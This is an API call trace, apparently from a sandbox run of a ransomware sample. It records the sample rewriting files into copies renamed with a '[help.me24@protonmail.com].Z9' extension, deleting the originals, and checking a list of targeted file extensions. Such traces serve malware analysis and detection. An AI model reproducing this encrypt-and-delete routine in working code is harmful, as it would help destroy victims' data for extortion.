	[0070.901] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1
	[0070.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0070.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0070.902] lstrlenW (lpString=".doc") returned 4
	[0070.902] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.902] lstrlenW (lpString=".docx") returned 5
	[0070.902] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.902] lstrlenW (lpString=".pdf") returned 4
	[0070.902] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.902] lstrlenW (lpString=".xls") returned 4
	[0070.902] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.902] lstrlenW (lpString=".xlsx") returned 5
	[0070.902] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.902] lstrlenW (lpString=".ppt") returned 4
	[0070.902] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0070.902] lstrlenW (lpString=".zip") returned 4
	[0070.902] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.902] lstrlenW (lpString=".rar") returned 4
	[0070.902] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.902] lstrlenW (lpString=".bz2") returned 4
	[0070.902] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.902] lstrlenW (lpString=".7z") returned 3
	[0070.902] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0070.902] lstrlenW (lpString=".dbf") returned 4
	[0070.902] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0070.903] lstrlenW (lpString=".1cd") returned 4
	[0070.903] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0070.903] lstrlenW (lpString=".jpg") returned 4
	[0070.903] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0070.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0070.903] lstrlenW (lpString=".doc") returned 4
	[0070.903] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.903] lstrlenW (lpString=".docx") returned 5
	[0070.903] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.903] lstrlenW (lpString=".pdf") returned 4
	[0070.903] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.903] lstrlenW (lpString=".xls") returned 4
	[0070.903] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.903] lstrlenW (lpString=".xlsx") returned 5
	[0070.903] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.903] lstrlenW (lpString=".ppt") returned 4
	[0070.903] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0070.903] lstrlenW (lpString=".zip") returned 4
	[0070.903] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.903] lstrlenW (lpString=".rar") returned 4
	[0070.903] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.903] lstrlenW (lpString=".bz2") returned 4
	[0070.903] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.903] lstrlenW (lpString=".7z") returned 3
	[0070.903] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0070.904] lstrlenW (lpString=".dbf") returned 4
	[0070.904] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0070.904] lstrlenW (lpString=".1cd") returned 4
	[0070.904] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0070.904] lstrlenW (lpString=".jpg") returned 4
	[0070.904] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.904] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0070.904] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0070.904] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0070.907] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=79634) returned 1
	[0070.907] CloseHandle (hObject=0x2bc) returned 1
	[0070.907] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80
	[0070.907] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.907] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0070.907] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.907] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.908] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0070.908] GetLastError () returned 0x0
	[0070.908] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x13712, lpOverlapped=0x0) returned 1
	[0070.932] WriteFile (in: hFile=0x328, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13720, lpOverlapped=0x0) returned 1
	[0070.934] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.934] WriteFile (in: hFile=0x328, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0070.935] SetEndOfFile (hFile=0x328) returned 1
	[0070.935] CloseHandle (hObject=0x328) returned 1
	[0070.937] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.937] SetEndOfFile (hFile=0x2bc) returned 1
	[0070.938] CloseHandle (hObject=0x2bc) returned 1
	[0070.938] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.939] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1
	[0070.939] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0070.939] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0070.939] lstrlenW (lpString=".doc") returned 4
	[0070.939] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.939] lstrlenW (lpString=".docx") returned 5
	[0070.939] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.939] lstrlenW (lpString=".pdf") returned 4
	[0070.939] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.939] lstrlenW (lpString=".xls") returned 4
	[0070.939] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.939] lstrlenW (lpString=".xlsx") returned 5
	[0070.939] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.939] lstrlenW (lpString=".ppt") returned 4
	[0070.939] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.939] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0070.939] lstrlenW (lpString=".zip") returned 4
	[0070.939] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.939] lstrlenW (lpString=".rar") returned 4
	[0070.939] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.939] lstrlenW (lpString=".bz2") returned 4
	[0070.940] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.940] lstrlenW (lpString=".7z") returned 3
	[0070.940] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0070.940] lstrlenW (lpString=".dbf") returned 4
	[0070.940] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0070.940] lstrlenW (lpString=".1cd") returned 4
	[0070.940] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0070.940] lstrlenW (lpString=".jpg") returned 4
	[0070.940] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.970] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0070.970] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0070.970] lstrlenW (lpString=".doc") returned 4
	[0070.970] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.970] lstrlenW (lpString=".docx") returned 5
	[0070.970] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.970] lstrlenW (lpString=".pdf") returned 4
	[0070.970] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.970] lstrlenW (lpString=".xls") returned 4
	[0070.970] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.970] lstrlenW (lpString=".xlsx") returned 5
	[0070.970] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.970] lstrlenW (lpString=".ppt") returned 4
	[0070.970] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.970] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0070.970] lstrlenW (lpString=".zip") returned 4
	[0070.970] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.970] lstrlenW (lpString=".rar") returned 4
	[0070.970] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.970] lstrlenW (lpString=".bz2") returned 4
	[0070.971] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.971] lstrlenW (lpString=".7z") returned 3
	[0070.971] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0070.971] lstrlenW (lpString=".dbf") returned 4
	[0070.971] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0070.971] lstrlenW (lpString=".1cd") returned 4
	[0070.971] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0070.971] lstrlenW (lpString=".jpg") returned 4
	[0070.971] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.971] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0070.971] lstrlenW (lpString="eula.rtf") returned 8
	[0070.971] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0070.971] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3046) returned 1
	[0070.971] CloseHandle (hObject=0x328) returned 1
	[0070.971] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80
	[0070.971] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.972] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0070.972] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.972] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.972] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0071.025] GetLastError () returned 0x0
	[0071.025] ReadFile (in: hFile=0x328, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xbe6, lpOverlapped=0x0) returned 1
	[0071.039] WriteFile (in: hFile=0x2f4, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xbf0, lpOverlapped=0x0) returned 1
	[0071.040] ReadFile (in: hFile=0x328, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.041] WriteFile (in: hFile=0x2f4, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0071.041] SetEndOfFile (hFile=0x2f4) returned 1
	[0071.041] CloseHandle (hObject=0x2f4) returned 1
	[0071.043] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.043] SetEndOfFile (hFile=0x328) returned 1
	[0071.044] CloseHandle (hObject=0x328) returned 1
	[0071.044] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.044] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1
	[0071.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0071.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0071.045] lstrlenW (lpString=".doc") returned 4
	[0071.045] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.045] lstrlenW (lpString=".docx") returned 5
	[0071.045] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.045] lstrlenW (lpString=".pdf") returned 4
	[0071.045] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.045] lstrlenW (lpString=".xls") returned 4
	[0071.045] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.045] lstrlenW (lpString=".xlsx") returned 5
	[0071.045] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.045] lstrlenW (lpString=".ppt") returned 4
	[0071.045] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0071.045] lstrlenW (lpString=".zip") returned 4
	[0071.045] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.045] lstrlenW (lpString=".rar") returned 4
	[0071.045] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.045] lstrlenW (lpString=".bz2") returned 4
	[0071.045] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.045] lstrlenW (lpString=".7z") returned 3
	[0071.045] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0071.045] lstrlenW (lpString=".dbf") returned 4
	[0071.045] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0071.045] lstrlenW (lpString=".1cd") returned 4
	[0071.045] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0071.045] lstrlenW (lpString=".jpg") returned 4
	[0071.045] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0071.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0071.046] lstrlenW (lpString=".doc") returned 4
	[0071.046] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.046] lstrlenW (lpString=".docx") returned 5
	[0071.046] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.046] lstrlenW (lpString=".pdf") returned 4
	[0071.046] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.046] lstrlenW (lpString=".xls") returned 4
	[0071.046] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.046] lstrlenW (lpString=".xlsx") returned 5
	[0071.046] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.046] lstrlenW (lpString=".ppt") returned 4
	[0071.046] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0071.046] lstrlenW (lpString=".zip") returned 4
	[0071.046] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.046] lstrlenW (lpString=".rar") returned 4
	[0071.046] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.046] lstrlenW (lpString=".bz2") returned 4
	[0071.046] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.046] lstrlenW (lpString=".7z") returned 3
	[0071.046] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0071.046] lstrlenW (lpString=".dbf") returned 4
	[0071.046] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0071.046] lstrlenW (lpString=".1cd") returned 4
	[0071.047] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0071.047] lstrlenW (lpString=".jpg") returned 4
	[0071.047] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.047] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0071.047] lstrlenW (lpString="eula.rtf") returned 8
	[0071.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.047] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3683) returned 1
	[0071.047] CloseHandle (hObject=0x328) returned 1
	[0071.047] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80
	[0071.047] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.047] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.047] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.048] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0071.066] GetLastError () returned 0x0
	[0071.066] ReadFile (in: hFile=0x328, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xe63, lpOverlapped=0x0) returned 1
	[0071.076] WriteFile (in: hFile=0x330, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe70, lpOverlapped=0x0) returned 1
	[0071.077] ReadFile (in: hFile=0x328, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.077] WriteFile (in: hFile=0x330, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0071.077] SetEndOfFile (hFile=0x330) returned 1
	[0071.077] CloseHandle (hObject=0x330) returned 1
	[0071.079] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.079] SetEndOfFile (hFile=0x328) returned 1
	[0071.080] CloseHandle (hObject=0x328) returned 1
	[0071.080] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.080] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1
	[0071.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0071.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0071.080] lstrlenW (lpString=".doc") returned 4
	[0071.080] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.080] lstrlenW (lpString=".docx") returned 5
	[0071.080] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.080] lstrlenW (lpString=".pdf") returned 4
	[0071.080] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.080] lstrlenW (lpString=".xls") returned 4
	[0071.080] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.081] lstrlenW (lpString=".xlsx") returned 5
	[0071.081] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.081] lstrlenW (lpString=".ppt") returned 4
	[0071.081] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0071.081] lstrlenW (lpString=".zip") returned 4
	[0071.081] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.081] lstrlenW (lpString=".rar") returned 4
	[0071.081] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.081] lstrlenW (lpString=".bz2") returned 4
	[0071.081] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.081] lstrlenW (lpString=".7z") returned 3
	[0071.081] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0071.081] lstrlenW (lpString=".dbf") returned 4
	[0071.081] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0071.081] lstrlenW (lpString=".1cd") returned 4
	[0071.081] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0071.081] lstrlenW (lpString=".jpg") returned 4
